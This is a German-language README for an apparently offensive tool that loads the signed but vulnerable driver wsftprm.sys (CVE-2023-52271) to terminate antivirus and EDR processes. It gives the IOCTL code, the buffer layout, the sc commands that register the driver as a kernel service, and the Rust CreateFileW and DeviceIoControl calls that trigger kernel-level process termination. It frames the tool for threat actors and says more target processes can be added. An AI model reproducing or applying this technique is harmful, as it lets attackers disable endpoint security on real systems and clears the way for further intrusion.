
Beendigung von AV/EDR-Prozessen durch Ausnutzung eines verwundbaren Treibers (BYOVD)
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
Dieses Projekt demonstriert, wie ein legitimer und signierter Treiber bewaffnet werden kann, um Zugriff auf Kernel-Ebene zu erhalten.
wsftprm.sys , signiert von TPZ SOLUCOES DIGITAIS LTDA, und zuvor einer lokalen Privilegienausweitung ausgesetzt, die öffentlich als CVE-2023-52271 offengelegt wurde, aber irgendwie immer noch nicht auf Microsofts Treiber-Blockliste steht!! 🤫🤫
Die Schwachstelle wird über den IOCTL-Code 0x22201C mit einem 1036-Byte-Puffer ausgelöst, wobei die ersten 4 Bytes die Ziel-Prozess-ID als DWORD enthalten. Der verwundbare Treiber ruft beim Empfang dieses bösartigen IOCTL über DeviceIoControl die importierte Funktion ZwTerminateProcess auf, wodurch jeder Benutzermodusanwendung die Fähigkeit zur Prozessbeendigung auf Kernel-Ebene gewährt wird.
Jeder vernünftige Bedrohungsakteur wird natürlich diese Fähigkeit priorisieren, um kritische Antiviren- (AV) und Endpoint Detection and Response (EDR)-Prozesse zu beenden.
Starten Sie cmd.exe mit Administratorrechten und registrieren Sie einen Kernel-Treiberdienst mit Typ "Kernel" und binPath, der auf den Ort des verwundbaren Treibers zeigt.
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
Sobald der Treiber geladen ist, erstellt er einen symbolischen Link, der für den Benutzermodus als \.\Warsaw_PM zugänglich ist. Diesen können wir nutzen, um über den CreateFileW-API-Aufruf ein Handle auf das Treibergerät zu erhalten.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
Um die bösartigen IOCTLs zu senden, verwenden wir DeviceIoControl mit dem Code 0x22201C und einem Puffer, der in den ersten 4 Bytes eine PID enthält.
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release um die Binärdatei zu erstellen.
Sie können der Zielliste weitere Prozesse zur Beendigung hinzufügen.
Sie sind dafür verantwortlich, dass Sie die entsprechende Genehmigung haben, bevor Sie dieses Tool verwenden. Der Autor übernimmt keine Haftung für Missbrauch.
Beiträge und Vorschläge sind willkommen! Wenn Sie Ideen, Verbesserungen haben oder zusammenarbeiten möchten, können Sie mich gerne kontaktieren unter: [email protected]